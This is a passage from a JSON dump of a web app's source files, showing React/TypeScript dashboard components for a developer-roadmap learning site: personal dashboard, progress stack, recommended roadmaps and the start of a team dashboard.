    "content": "type LoadingProgressProps = {};\n\nexport function LoadingProgress(props: LoadingProgressProps) {\n  return (\n    <div className=\"grid grid-cols-1 gap-1.5 sm:grid-cols-3\">\n      {Array.from({ length: 6 }).map((_, index) => (\n        <div\n          key={index}\n          className=\"h-[38px] w-full animate-pulse rounded-md border border-gray-300 bg-gray-100\"\n        ></div>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/PersonalDashboard.tsx",
    "content": "import { CheckSquare, Gift, SquarePen } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport type { AllowedProfileVisibility } from '../../api/user.ts';\nimport { useToast } from '../../hooks/use-toast';\nimport { cn } from '../../lib/classname.ts';\nimport { httpGet } from '../../lib/http';\nimport type { QuestionGroupType } from '../../lib/question-group';\nimport type { AllowedRoadmapRenderer } from '../../lib/roadmap.ts';\nimport type { VideoFileType } from '../../lib/video';\nimport { type StreakResponse } from '../../stores/streak';\nimport type { PageType } from '../CommandMenu/CommandMenu';\nimport { FeaturedGuideList } from '../FeaturedGuides/FeaturedGuideList';\nimport { FeaturedVideoList } from '../FeaturedVideos/FeaturedVideoList';\nimport {\n  FavoriteRoadmaps,\n  type AIRoadmapType,\n} from '../HeroSection/FavoriteRoadmaps.tsx';\nimport { HeroRoadmap } from '../HeroSection/HeroRoadmap.tsx';\nimport type { ProjectStatusDocument } from '../Projects/ListProjectSolutions';\nimport type { UserProgress } from '../TeamProgress/TeamProgressPage';\nimport { useIsPaidUser } from '../../queries/billing.ts';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal.tsx';\nimport type { OfficialGuideDocument } from '../../queries/official-guide.ts';\n\nconst projectGroups = [\n  {\n    title: 'Frontend',\n    id: 'frontend',\n  },\n  {\n    title: 'Backend',\n    id: 'backend',\n  },\n  {\n    title: 'DevOps',\n    id: 'devops',\n  },\n];\n\ntype UserDashboardResponse = {\n  name: string;\n  email: string;\n  avatar: string;\n  headline: string;\n  username: string;\n  profileVisibility: AllowedProfileVisibility;\n  progresses: UserProgress[];\n  projects: ProjectStatusDocument[];\n  aiRoadmaps: AIRoadmapType[];\n};\n\nexport type BuiltInRoadmap = {\n  id: string;\n  url: string;\n  title: string;\n  description: string;\n  isFavorite?: boolean;\n  isNew?: boolean;\n  relatedRoadmapIds?: string[];\n  renderer?: AllowedRoadmapRenderer;\n  metadata?: Record<string, any>;\n};\n\ntype PersonalDashboardProps = {\n  builtInRoleRoadmaps?: BuiltInRoadmap[];\n  builtInSkillRoadmaps?: BuiltInRoadmap[];\n  builtInBestPractices?: BuiltInRoadmap[];\n  questionGroups?: QuestionGroupType[];\n  guides?: OfficialGuideDocument[];\n  videos?: VideoFileType[];\n};\n\ntype DashboardStatItemProps = {\n  isLoading: boolean;\n};\n\nfunction UpgradeAccountButton(props: DashboardStatItemProps) {\n  const { isLoading } = props;\n\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n\n  if (isPaidUser) {\n    return null;\n  }\n\n  return (\n    <>\n      {showUpgradeModal && (\n        <UpgradeAccountModal onClose={() => setShowUpgradeModal(false)} />\n      )}\n\n      <button\n        onClickCapture={() => setShowUpgradeModal(true)}\n        className={cn(\n          'flex items-center gap-1.5 rounded-lg bg-white py-1.5 pr-3 pl-2.5 text-xs text-purple-700 duration-200 hover:bg-purple-600 hover:text-white',\n          {\n            'striped-loader-slate striped-loader-slate-fast border-transparent bg-slate-800/50 text-transparent hover:bg-transparent hover:text-transparent hover:shadow-none':\n              isLoading || isPaidUserLoading,\n          },\n        )}\n        onClick={() => {}}\n      >\n        <Gift size={16} className={cn({ 'text-transparent': isLoading })} />\n        <span>Upgrade Account</span>\n      </button>\n    </>\n  );\n}\n\ntype ProfileButtonProps = {\n  isLoading: boolean;\n  name?: string;\n  username?: string;\n  avatar?: string;\n};\n\nfunction PersonalProfileButton(props: ProfileButtonProps) {\n  const { isLoading, name, username, avatar } = props;\n\n  if (isLoading || !username) {\n    return (\n      <a\n        href=\"/account/update-profile\"\n        className={cn(\n          'flex items-center gap-2 rounded-lg bg-slate-800/50 py-2 pr-3 pl-3 font-medium outline-slate-700 hover:bg-slate-800 hover:outline-slate-400',\n          {\n            'striped-loader-slate striped-loader-slate-fast text-transparent':\n              isLoading,\n            'bg-blue-500/10 text-blue-500 hover:bg-blue-500/20': !isLoading,\n          },\n        )}\n      >\n        <CheckSquare className=\"h-4 w-4\" strokeWidth={2.5} />\n        Set up your profile\n      </a>\n    );\n  }\n\n  return (\n    <div className=\"flex gap-1.5\">\n      <a\n        href={`/u/${username}`}\n        className=\"flex items-center gap-2 rounded-lg bg-slate-800/50 py-2 pr-3 pl-3 text-slate-300 transition-colors hover:bg-slate-800/70\"\n      >\n        <img\n          src={avatar}\n          alt={name || 'Profile'}\n          className=\"h-5 w-5 rounded-full ring-1 ring-slate-700\"\n        />\n        <span className=\"font-medium\">Visit Profile</span>\n      </a>\n      <a\n        href=\"/account/update-profile\"\n        className=\"flex items-center gap-2 rounded-lg bg-slate-800/50 py-2 pr-3 pl-3 text-slate-400 transition-colors hover:bg-slate-800/70 hover:text-slate-300\"\n        title=\"Edit Profile\"\n      >\n        <SquarePen className=\"h-4 w-4\" />\n      </a>\n    </div>\n  );\n}\n\ntype DashboardStatsProps = {\n  profile: ProfileButtonProps;\n  accountStreak?: StreakResponse;\n  finishedProjectsCount?: number;\n  isLoading: boolean;\n};\n\nfunction DashboardStats(props: DashboardStatsProps) {\n  const { isLoading, profile } = props;\n\n  return (\n    <div className=\"container mb-3 flex flex-col gap-4 pt-6 pb-2 text-sm text-slate-400 sm:flex-row sm:items-center sm:justify-between\">\n      <div className=\"flex w-full flex-col gap-4 sm:flex-row sm:items-center sm:justify-between\">\n        <PersonalProfileButton\n          isLoading={isLoading}\n          name={profile.name}\n          username={profile.username}\n          avatar={profile.avatar}\n        />\n        <div className=\"hidden flex-wrap items-center gap-2 md:flex\">\n          <UpgradeAccountButton isLoading={isLoading} />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport function PersonalDashboard(props: PersonalDashboardProps) {\n  const {\n    builtInRoleRoadmaps = [],\n    builtInBestPractices = [],\n    builtInSkillRoadmaps = [],\n    guides = [],\n    videos = [],\n  } = props;\n\n  const toast = useToast();\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [personalDashboardDetails, setPersonalDashboardDetails] =\n    useState<UserDashboardResponse>();\n  const [projectDetails, setProjectDetails] = useState<PageType[]>([]);\n\n  async function loadProgress() {\n    const { response: progressList, error } =\n      await httpGet<UserDashboardResponse>(\n        `${import.meta.env.PUBLIC_API_URL}/v1-user-dashboard`,\n      );\n\n    if (error || !progressList) {\n      return;\n    }\n\n    progressList?.progresses?.forEach((progress) => {\n      window.dispatchEvent(\n        new CustomEvent('mark-favorite', {\n          detail: {\n            resourceId: progress.resourceId,\n            resourceType: progress.resourceType,\n            isFavorite: progress.isFavorite,\n          },\n        }),\n      );\n    });\n    setPersonalDashboardDetails(progressList);\n  }\n\n  async function loadAllProjectDetails() {\n    const { error, response } = await httpGet<PageType[]>(`/pages.json`);\n\n    if (error) {\n      toast.error(error.message || 'Something went wrong');\n      return;\n    }\n\n    if (!response) {\n      return [];\n    }\n\n    const allProjects = response.filter((page) => page.group === 'Projects');\n    setProjectDetails(allProjects);\n  }\n\n  useEffect(() => {\n    Promise.allSettled([loadProgress(), loadAllProjectDetails()]).finally(() =>\n      setIsLoading(false),\n    );\n  }, []);\n\n  useEffect(() => {\n    window.addEventListener('refresh-favorites', loadProgress);\n    return () => window.removeEventListener('refresh-favorites', loadProgress);\n  }, []);\n\n  const learningRoadmapsToShow: UserProgress[] = (\n    personalDashboardDetails?.progresses || []\n  )\n    .filter((progress) => !progress.isCustomResource)\n    .sort((a, b) => {\n      const updatedAtA = new Date(a.updatedAt);\n      const updatedAtB = new Date(b.updatedAt);\n\n      if (a.isFavorite && !b.isFavorite) {\n        return -1;\n      }\n\n      if (!a.isFavorite && b.isFavorite) {\n        return 1;\n      }\n\n      return updatedAtB.getTime() - updatedAtA.getTime();\n    });\n\n  const customRoadmaps: UserProgress[] = (\n    personalDashboardDetails?.progresses || []\n  )\n    .filter((progress) => progress.isCustomResource)\n    .sort((a, b) => {\n      const updatedAtA = new Date(a.updatedAt);\n      const updatedAtB = new Date(b.updatedAt);\n      return updatedAtB.getTime() - updatedAtA.getTime();\n    });\n\n  const { avatar, name } = personalDashboardDetails || {};\n  const avatarLink = avatar\n    ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${avatar}`\n    : '/img/default-avatar.png';\n\n  const enrichedProjects = personalDashboardDetails?.projects\n    .map((project) => {\n      const projectDetail = projectDetails.find(\n        (page) => page.id === project.projectId,\n      );\n\n      return {\n        ...project,\n        title: projectDetail?.title || 'N/A',\n      };\n    })\n    .sort((a, b) => {\n      if (a.repositoryUrl && !b.repositoryUrl) {\n        return 1;\n      }\n\n      if (!a.repositoryUrl && b.repositoryUrl) {\n        return -1;\n      }\n\n      return 0;\n    });\n\n  const { username } = personalDashboardDetails || {};\n\n  return (\n    <div>\n      <DashboardStats\n        profile={{\n          name,\n          username,\n          avatar: avatarLink,\n          isLoading,\n        }}\n        isLoading={isLoading}\n      />\n\n      <FavoriteRoadmaps\n        progress={learningRoadmapsToShow}\n        customRoadmaps={customRoadmaps}\n        projects={enrichedProjects || []}\n        isLoading={isLoading}\n      />\n\n      <div className=\"bg-linear-to-b from-slate-900 to-black pb-12\">\n        <div className=\"relative mt-6 border-t border-t-[#1e293c] pt-12\">\n          <div className=\"container\">\n            <h2\n              id=\"role-based-roadmaps\"\n              className=\"text-md font-regular absolute -top-[17px] left-4 flex rounded-lg border border-[#1e293c] bg-slate-900 px-3 py-1 text-slate-400 sm:left-1/2 sm:-translate-x-1/2\"\n            >\n              Role Based Roadmaps\n            </h2>\n\n            <div className=\"grid grid-cols-1 gap-3 px-2 sm:grid-cols-2 sm:px-0 lg:grid-cols-3\">\n              {builtInRoleRoadmaps.map((roadmap) => {\n                const roadmapProgress = learningRoadmapsToShow.find(\n                  (lr) => lr.resourceId === roadmap.id,\n                );\n\n                const percentageDone =\n                  (((roadmapProgress?.skipped || 0) +\n                    (roadmapProgress?.done || 0)) /\n                    (roadmapProgress?.total || 1)) *\n                  100;\n\n                return (\n                  <HeroRoadmap\n                    key={roadmap.id}\n                    resourceId={roadmap.id}\n                    resourceType=\"roadmap\"\n                    resourceTitle={roadmap.title}\n                    isFavorite={roadmap.isFavorite}\n                    percentageDone={percentageDone}\n                    isNew={roadmap.isNew}\n                    url={`/${roadmap.id}`}\n                  />\n                );\n              })}\n            </div>\n          </div>\n        </div>\n\n        <div className=\"relative mt-12 border-t border-t-[#1e293c] pt-12\">\n          <div className=\"container\">\n            <h2 className=\"text-md font-regular absolute -top-[17px] left-4 flex rounded-lg border border-[#1e293c] bg-slate-900 px-3 py-1 text-slate-400 sm:left-1/2 sm:-translate-x-1/2\">\n              Skill Based Roadmaps\n            </h2>\n\n            <div className=\"grid grid-cols-1 gap-3 px-2 sm:grid-cols-2 sm:px-0 lg:grid-cols-3\">\n              {builtInSkillRoadmaps.map((roadmap) => {\n                const roadmapProgress = learningRoadmapsToShow.find(\n                  (lr) => lr.resourceId === roadmap.id,\n                );\n\n                const percentageDone =\n                  (((roadmapProgress?.skipped || 0) +\n                    (roadmapProgress?.done || 0)) /\n                    (roadmapProgress?.total || 1)) *\n                  100;\n\n                return (\n                  <HeroRoadmap\n                    key={roadmap.id}\n                    resourceId={roadmap.id}\n                    resourceType=\"roadmap\"\n                    resourceTitle={roadmap.title}\n                    isFavorite={roadmap.isFavorite}\n                    percentageDone={percentageDone}\n                    isNew={roadmap.isNew}\n                    url={`/${roadmap.id}`}\n                  />\n                );\n              })}\n            </div>\n          </div>\n        </div>\n\n        <div className=\"relative mt-12 border-t border-t-[#1e293c] pt-12\">\n          <div className=\"container\">\n            <h2 className=\"text-md font-regular absolute -top-[17px] left-4 flex rounded-lg border border-[#1e293c] bg-slate-900 px-3 py-1 text-slate-400 sm:left-1/2 sm:-translate-x-1/2\">\n              Project Ideas\n            </h2>\n\n            <div className=\"grid grid-cols-1 gap-3 px-2 sm:grid-cols-2 sm:px-0 lg:grid-cols-3\">\n              {projectGroups.map((projectGroup) => {\n                return (\n                  <HeroRoadmap\n                    percentageDone={0}\n                    key={projectGroup.id}\n                    resourceId={projectGroup.id}\n                    resourceType=\"roadmap\"\n                    resourceTitle={projectGroup.title}\n                    url={`/${projectGroup.id}/projects`}\n                    allowFavorite={false}\n                  />\n                );\n              })}\n            </div>\n          </div>\n        </div>\n\n        <div className=\"relative mt-12 border-t border-t-[#1e293c] pt-12\">\n          <div className=\"container\">\n            <h2 className=\"text-md font-regular absolute -top-[17px] left-4 flex rounded-lg border border-[#1e293c] bg-slate-900 px-3 py-1 text-slate-400 sm:left-1/2 sm:-translate-x-1/2\">\n              Best Practices\n            </h2>\n\n            <div className=\"grid grid-cols-1 gap-3 px-2 sm:grid-cols-2 sm:px-0 lg:grid-cols-3\">\n              {builtInBestPractices.map((roadmap) => {\n                const roadmapProgress = learningRoadmapsToShow.find(\n                  (lr) => lr.resourceId === roadmap.id,\n                );\n\n                const percentageDone =\n                  (((roadmapProgress?.skipped || 0) +\n                    (roadmapProgress?.done || 0)) /\n                    (roadmapProgress?.total || 1)) *\n                  100;\n\n                return (\n                  <HeroRoadmap\n                    key={roadmap.id}\n                    resourceId={roadmap.id}\n                    resourceType=\"roadmap\"\n                    resourceTitle={roadmap.title}\n                    isFavorite={roadmap.isFavorite}\n                    percentageDone={percentageDone}\n                    isNew={roadmap.isNew}\n                    url={`/${roadmap.id}`}\n                  />\n                );\n              })}\n            </div>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"grid grid-cols-1 gap-5 bg-gray-50 px-4 py-5 sm:gap-16 sm:px-0 sm:py-16\">\n        <FeaturedGuideList\n          heading=\"Guides\"\n          guides={guides\n            .filter((guide) => guide.roadmapId !== 'questions')\n            .slice(0, 15)}\n          questions={guides\n            .filter((guide) => guide.roadmapId === 'questions')\n            .slice(0, 15)}\n        />\n        <FeaturedVideoList heading=\"Videos\" videos={videos} />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/ProgressStack.tsx",
    "content": "import {\n  ArrowUpRight,\n  Bookmark,\n  FolderKanban,\n  type LucideIcon,\n  Map,\n} from 'lucide-react';\nimport type { UserProgress } from '../TeamProgress/TeamProgressPage';\nimport type { ProjectStatusDocument } from '../Projects/ListProjectSolutions';\nimport { DashboardBookmarkCard } from './DashboardBookmarkCard';\nimport { DashboardProjectCard } from './DashboardProjectCard';\nimport { useState } from 'react';\nimport { cn } from '../../lib/classname';\nimport { DashboardProgressCard } from './DashboardProgressCard';\nimport { useStore } from '@nanostores/react';\nimport { $accountStreak, type StreakResponse } from '../../stores/streak';\nimport { EmptyStackMessage } from './EmptyStackMessage.tsx';\n\ntype ProgressStackProps = {\n  progresses: UserProgress[];\n  projects: (ProjectStatusDocument & {\n    title: string;\n  })[];\n  accountStreak?: StreakResponse;\n  isLoading: boolean;\n  topicDoneToday: number;\n};\n\nconst MAX_PROGRESS_TO_SHOW = 11;\nconst MAX_PROJECTS_TO_SHOW = 8;\n\ntype ProgressLaneProps = {\n  title: string;\n  linkText?: string;\n  linkHref?: string;\n  isLoading?: boolean;\n  isEmpty?: boolean;\n  loadingWrapperClassName?: string;\n  loadingSkeletonCount?: number;\n  loadingSkeletonClassName?: string;\n  children: React.ReactNode;\n  emptyMessage?: string;\n  emptyIcon?: LucideIcon;\n  emptyLinkText?: string;\n  emptyLinkHref?: string;\n  className?: string;\n};\n\nfunction ProgressLane(props: ProgressLaneProps) {\n  const {\n    title,\n    linkText,\n    linkHref,\n    isLoading = false,\n    loadingWrapperClassName = '',\n    loadingSkeletonCount = 4,\n    loadingSkeletonClassName = '',\n    children,\n    isEmpty = false,\n    emptyIcon: EmptyIcon = Map,\n    emptyMessage = `No ${title.toLowerCase()} to show`,\n    emptyLinkHref = '/roadmaps',\n    emptyLinkText = 'Explore',\n    className,\n  } = props;\n\n  return (\n    <div\n      className={cn(\n        'flex h-full flex-col rounded-md border bg-white px-4 py-3 shadow-xs',\n        className,\n      )}\n    >\n      {isLoading && (\n        <div className={'flex flex-row justify-between'}>\n          <div className=\"h-[16px] w-[75px] animate-pulse rounded-md bg-gray-100\"></div>\n        </div>\n      )}\n      {!isLoading && !isEmpty && (\n        <div className=\"flex items-center justify-between gap-2\">\n          <h3 className=\"text-xs uppercase text-gray-500\">{title}</h3>\n\n          {linkText && linkHref && (\n            <a\n              href={linkHref}\n              className=\"flex items-center gap-1 text-xs text-gray-500 hover:text-black\"\n            >\n              <ArrowUpRight size={12} />\n              {linkText}\n            </a>\n          )}\n        </div>\n      )}\n\n      <div className=\"mt-4 flex grow flex-col gap-1.5\">\n        {isLoading && (\n          <div\n            className={cn('grid grid-cols-2 gap-2', loadingWrapperClassName)}\n          >\n            {Array.from({ length: loadingSkeletonCount }).map((_, index) => (\n              <CardSkeleton key={index} className={loadingSkeletonClassName} />\n            ))}\n          </div>\n        )}\n        {!isLoading && children}\n\n        {!isLoading && isEmpty && (\n          <div className=\"flex grow flex-col items-center justify-center text-gray-500\">\n            <EmptyIcon\n              size={37}\n              strokeWidth={1.5}\n              className={'mb-3 text-gray-200'}\n            />\n            <span className=\"mb-0.5 text-sm\">{emptyMessage}</span>\n            <a\n              href={emptyLinkHref}\n              className=\"text-xs font-medium text-gray-600 underline-offset-2 hover:underline\"\n            >\n              {emptyLinkText}\n            </a>\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\nexport function ProgressStack(props: ProgressStackProps) {\n  const { progresses, projects, isLoading, accountStreak, topicDoneToday } =\n    props;\n\n  const [showAllProgresses, setShowAllProgresses] = useState(false);\n  const sortedProgresses = progresses.sort((a, b) => {\n    if (a.isFavorite && !b.isFavorite) {\n      return 1;\n    }\n\n    if (!a.isFavorite && b.isFavorite) {\n      return -1;\n    }\n\n    return 0;\n  });\n  const userProgressesToShow = showAllProgresses\n    ? sortedProgresses\n    : sortedProgresses.slice(0, MAX_PROGRESS_TO_SHOW);\n\n  const [showAllProjects, setShowAllProjects] = useState(false);\n  const projectsToShow = showAllProjects\n    ? projects\n    : projects.slice(0, MAX_PROJECTS_TO_SHOW);\n\n  const totalProjectFinished = projects.filter(\n    (project) => project.repositoryUrl,\n  ).length;\n\n  return (\n    <>\n      <div className=\"mt-2 grid grid-cols-1 gap-2 sm:grid-cols-2 md:grid-cols-3\">\n        <StatsCard\n          title=\"Current Streak\"\n          value={accountStreak?.count || 0}\n          isLoading={isLoading}\n        />\n        <StatsCard\n          title=\"Topics Done Today\"\n          value={topicDoneToday}\n          isLoading={isLoading}\n        />\n        <StatsCard\n          title=\"Projects Finished\"\n          value={totalProjectFinished}\n          isLoading={isLoading}\n        />\n      </div>\n\n      <div className=\"mt-2 grid min-h-[330px] grid-cols-1 gap-2 sm:grid-cols-2 md:grid-cols-3\">\n        <div className=\"relative col-span-2\">\n          {!isLoading && userProgressesToShow.length === 0 && (\n            <EmptyStackMessage\n              number={1}\n              title={'Bookmark some Roadmaps'}\n              description={\n                'Bookmark some roadmaps to access them quickly and start updating your progress'\n              }\n              buttonText={'Explore Roadmaps'}\n              buttonLink={'/roadmaps'}\n              bodyClassName=\"max-w-[280px]\"\n            />\n          )}\n\n          <ProgressLane\n            title=\"Progress & Bookmarks\"\n            isLoading={isLoading}\n            loadingSkeletonCount={MAX_PROGRESS_TO_SHOW}\n            linkHref=\"/roadmaps\"\n            linkText=\"Roadmaps\"\n            isEmpty={userProgressesToShow.length === 0}\n            emptyIcon={Bookmark}\n            emptyMessage={'No bookmarks to show'}\n            emptyLinkHref={'/roadmaps'}\n            emptyLinkText={'Explore Roadmaps'}\n          >\n            <div className=\"grid grow auto-rows-min grid-cols-2 items-start gap-2\">\n              {userProgressesToShow.length > 0 && (\n                <>\n                  {userProgressesToShow.map((progress) => {\n                    const isFavorite =\n                      progress.isFavorite &&\n                      !progress.done &&\n                      !progress.skipped;\n\n                    if (isFavorite) {\n                      return (\n                        <DashboardBookmarkCard\n                          key={progress.resourceId}\n                          bookmark={progress}\n                        />\n                      );\n                    }\n\n                    return (\n                      <DashboardProgressCard\n                        key={progress.resourceId}\n                        progress={progress}\n                      />\n                    );\n                  })}\n                </>\n              )}\n\n              {sortedProgresses.length > MAX_PROGRESS_TO_SHOW && (\n                <ShowAllButton\n                  showAll={showAllProgresses}\n                  setShowAll={setShowAllProgresses}\n                  count={sortedProgresses.length}\n                  maxCount={MAX_PROGRESS_TO_SHOW}\n                  className=\"min-h-[38px] rounded-md border border-dashed leading-none\"\n                />\n              )}\n            </div>\n\n            <a\n              href={'/home'}\n              className=\"flex w-full flex-row items-center justify-center gap-2 rounded-md bg-gray-200 py-2 text-sm text-gray-700 hover:bg-gray-300 hover:text-black transition-colors\"\n            >\n              <Map size={16} />\n              View All Roadmaps\n            </a>\n          </ProgressLane>\n        </div>\n\n        <div className=\"relative\">\n          <ProgressLane\n            title={'Projects'}\n            linkHref={'/projects'}\n            linkText={'Projects'}\n            isLoading={isLoading}\n            loadingWrapperClassName=\"grid-cols-1\"\n            loadingSkeletonClassName={'h-5'}\n            loadingSkeletonCount={8}\n            isEmpty={projectsToShow.length === 0}\n            emptyMessage={'No projects started'}\n            emptyIcon={FolderKanban}\n            emptyLinkText={'Explore Projects'}\n            emptyLinkHref={'/projects'}\n          >\n            {!isLoading && projectsToShow.length === 0 && (\n              <EmptyStackMessage\n                number={2}\n                title={'Build your first project'}\n                description={'Pick a project to practice and start building'}\n                buttonText={'Explore Projects'}\n                buttonLink={'/projects'}\n              />\n            )}\n\n            {projectsToShow.map((project) => {\n              return (\n                <DashboardProjectCard\n                  key={project.projectId}\n                  project={project}\n                />\n              );\n            })}\n\n            {projects.length > MAX_PROJECTS_TO_SHOW && (\n              <ShowAllButton\n                showAll={showAllProjects}\n                setShowAll={setShowAllProjects}\n                count={projects.length}\n                maxCount={MAX_PROJECTS_TO_SHOW}\n                className=\"mb-0.5 mt-3\"\n              />\n            )}\n          </ProgressLane>\n        </div>\n      </div>\n    </>\n  );\n}\n\ntype ShowAllButtonProps = {\n  showAll: boolean;\n  setShowAll: (showAll: boolean) => void;\n  count: number;\n  maxCount: number;\n  className?: string;\n};\n\nfunction ShowAllButton(props: ShowAllButtonProps) {\n  const { showAll, setShowAll, count, maxCount, className } = props;\n\n  return (\n    <button\n      className={cn(\n        'flex w-full items-center justify-center text-sm text-gray-500 hover:text-gray-700',\n        className,\n      )}\n      onClick={() => setShowAll(!showAll)}\n    >\n      {!showAll ? <>+ show {count - maxCount} more</> : <>- show less</>}\n    </button>\n  );\n}\n\ntype CardSkeletonProps = {\n  className?: string;\n};\n\nfunction CardSkeleton(props: CardSkeletonProps) {\n  const { className } = props;\n\n  return (\n    <div\n      className={cn(\n        'h-[38px] w-full animate-pulse rounded-md bg-gray-100',\n        className,\n      )}\n    />\n  );\n}\n\ntype StatsCardProps = {\n  title: string;\n  value: number;\n  isLoading?: boolean;\n};\n\nfunction StatsCard(props: StatsCardProps) {\n  const { title, value, isLoading = false } = props;\n\n  return (\n    <div className=\"flex flex-col gap-1 rounded-md border bg-white p-4 shadow-xs\">\n      <h3 className=\"mb-1 text-xs uppercase text-gray-500\">{title}</h3>\n      {isLoading ? (\n        <CardSkeleton className=\"h-8\" />\n      ) : (\n        <span className=\"text-2xl font-medium text-black\">{value}</span>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/RecommendedRoadmaps.tsx",
    "content": "import type { BuiltInRoadmap } from './PersonalDashboard';\nimport { ArrowUpRight } from 'lucide-react';\nimport { MarkFavorite } from '../FeaturedItems/MarkFavorite.tsx';\n\ntype RecommendedRoadmapsProps = {\n  roadmaps: BuiltInRoadmap[];\n  isLoading: boolean;\n};\n\nexport function RecommendedRoadmaps(props: RecommendedRoadmapsProps) {\n  const { roadmaps: roadmapsToShow, isLoading } = props;\n\n  return (\n    <>\n      <div className=\"mb-2 mt-8 flex items-center justify-between gap-2\">\n        <h2 className=\"text-xs uppercase text-gray-400\">\n          Recommended Roadmaps\n        </h2>\n\n        <a\n          href=\"/roadmaps\"\n          className=\"rounded-full bg-gray-200 px-2.5 py-0.5 text-xs font-medium text-gray-700 hover:bg-gray-300 hover:text-black\"\n        >\n          All Roadmaps\n        </a>\n      </div>\n\n      {isLoading ? (\n        <div className=\"grid grid-cols-1 gap-1.5 sm:grid-cols-2 md:grid-cols-3\">\n          {Array.from({ length: 9 }).map((_, index) => (\n            <RecommendedCardSkeleton key={index} />\n          ))}\n        </div>\n      ) : (\n        <div className=\"grid grid-cols-1 gap-1.5 sm:grid-cols-2 md:grid-cols-3\">\n          {roadmapsToShow.map((roadmap) => (\n            <RecommendedRoadmapCard key={roadmap.id} roadmap={roadmap} />\n          ))}\n        </div>\n      )}\n\n      <div className=\"mt-6 text-sm text-gray-500\">\n        Need some help getting started? Check out our{' '}<a href=\"/get-started\" className=\"text-blue-600 underline\">Getting Started Guide</a>.\n      </div>\n    </>\n  );\n}\n\ntype RecommendedRoadmapCardProps = {\n  roadmap: BuiltInRoadmap;\n};\n\nexport function RecommendedRoadmapCard(props: RecommendedRoadmapCardProps) {\n  const { roadmap } = props;\n  const { title, url, description } = roadmap;\n\n  return (\n    <a\n      href={url}\n      className=\"font-regular text-sm sm:text-sm group relative block rounded-lg border border-gray-200 bg-white px-2.5 py-2 text-black no-underline hover:border-gray-400 hover:bg-gray-50\"\n    >\n      <MarkFavorite className={'opacity-30'} resourceType={'roadmap'} resourceId={roadmap.id} />\n      {title}\n    </a>\n  );\n}\n\nfunction RecommendedCardSkeleton() {\n  return (\n    <div className=\"h-[38px] w-full animate-pulse rounded-md bg-gray-200\" />\n  );\n}\n"
  },
  {
    "path": "src/components/Dashboard/TeamDashboard.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport type { TeamMember } from '../TeamProgress/TeamProgressPage';\nimport { httpGet } from '../../lib/http';\nimport { useToast } from '../../hooks/use-toast';\nimport { getUser } from '../../lib/jwt';\nimport { TeamActivityPage } from '../TeamActivity/TeamActivityPage';\nimport { cn } from '../../lib/classname';\nimport { Tooltip } from '../Tooltip';\nimport { DashboardTeamRoadmaps } from './DashboardTeamRoadmaps';\nimport type { BuiltInRoadmap } from './PersonalDashboard';\nimport { InviteMemberPopup } from '../TeamMembers/InviteMemberPopup';\nimport { Users, Users2 } from 'lucide-react';\n\ntype TeamDashboardProps = {\n  builtInRoleRoadmaps: BuiltInRoadmap[];\n  builtInSkillRoadmaps: BuiltInRoadmap[];\n  teamId: string;\n};\n\nexport function TeamDashboard(props: TeamDashboardProps) {\n  const { teamId, builtInRoleRoadmaps, builtInSkillRoadmaps } = props;\n\n  const toast = useToast();\n  const currentUser = getUser();\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [teamMembers, setTeamMembers] = useState<TeamMember[]>([]);\n  const [isInvitingMember, setIsInvitingMember] = useState(false);\n\n  async function getTeamProgress() {\n    const { response, error } = await httpGet<TeamMember[]>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-team-progress/${teamId}`,\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to get team progress');\n      return;\n    }\n\n    setTeamMembers(\n      response.sort((a, b) => {\n        if (a.email === currentUser?.email) {\n          return -1;\n        }\n        if (b.email === currentUser?.email) {\n          return 1;\n        }\n        return 0;\n      }),\n    );\n  }\n\n  useEffect(() => {\n    if (!teamId) {\n      return;\n    }\n\n    setIsLoading(true);\n    setTeamMembers([]);\n    getTeamProgress().finally(() => setIsLoading(false));\n  }, [teamId]);\n\n  const currentMember = teamMembers.find(\n    (member) => member.email === currentUser?.email,\n  );\n  const learningRoadmapsToShow =\n    currentMember?.progress?.filter(\n      (progress) => progress.resourceType === 'roadmap',\n    ) || [];\n\n  const allMembersWithoutCurrentUser = teamMembers.sort((a, b) => {\n    if (a.email === currentUser?.email) {\n      return -1;\n    }\n\n    if (b.email === currentUser?.email) {\n      return 1;\n    }\n\n    return 0;\n  });\n\n  const canManageCurrentTeam = ['admin', 'manager'].includes(\n    currentMember?.role!,\n  );\n\n  return (\n    <section className=\"mt-8\">\n      {isInvitingMember && (\n        <InviteMemberPopup\n          onInvited={() => {\n            toast.success('Invite sent');\n            getTeamProgress().finally(() => null);\n            setIsInvitingMember(false);\n          }}\n          onClose={() => {\n            setIsInvitingMember(false);\n          }}\n        />\n      )}\n\n      <DashboardTeamRoadmaps\n        isLoading={isLoading}\n        teamId={teamId}\n        learningRoadmapsToShow={learningRoadmapsToShow}\n        canManageCurrentTeam={canManageCurrentTeam}\n        onUpdate={getTeamProgress}\n        builtInRoleRoadmaps={builtInRoleRoadmaps}\n        builtInSkillRoadmaps={builtInSkillRoadmaps}\n      />\n\n      <h2 className=\"mb-3 mt-6 flex h-[20px] items-center justify-between text-xs uppercase text-gray-400\">\n        Team Members\n        <span className=\"grow h-[1px] bg-gray-200 mx-3\" />\n        {canManageCurrentTeam && (\n          <a\n            href={`/team/members?t=${teamId}`}\n            className=\"flex flex-row items-center rounded-full bg-gray-400 px-2.5 py-0.5 text-xs text-white transition-colors hover:bg-black\"\n          >\n            <Users2 className=\"mr-1.5 size-3\" strokeWidth={2.5} />\n            Members\n          </a>\n        )}\n      </h2>\n      {isLoading && <TeamMemberLoading className=\"mb-6\" />}\n      {!isLoading && (\n        <div className=\"mb-6 flex flex-wrap gap-2\">\n          {allMembersWithoutCurrentUser.map((member) => {\n            const avatar = member?.avatar\n              ? 